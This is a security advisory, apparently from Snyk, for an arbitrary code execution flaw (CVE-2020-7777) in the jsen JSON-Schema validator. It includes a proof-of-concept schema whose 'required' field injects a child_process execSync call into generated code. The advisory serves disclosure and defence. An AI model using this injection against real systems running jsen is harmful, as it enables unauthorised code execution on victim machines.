Arbitrary Code Execution

Affecting jsen package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

jsen is a JSON-Schema validator built for speed

Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.

In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');

let schema = JSON.parse(`
{
    "type": "object",
    "properties": {
        "username": {
            "type": "string"
        }
    },
    "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""]
}`);

const validate = jsen(schema);
validate({});

Remediation

There is no fixed version for jsen.

References

CVSS Score

7.2
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    High
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C
Credit
Alessio Della Libera (d3lla)
CVE
CVE-2020-7777
CWE
CWE-94
Snyk ID
SNYK-JS-JSEN-1014670
Disclosed
01 Oct, 2020
Published
23 Nov, 2020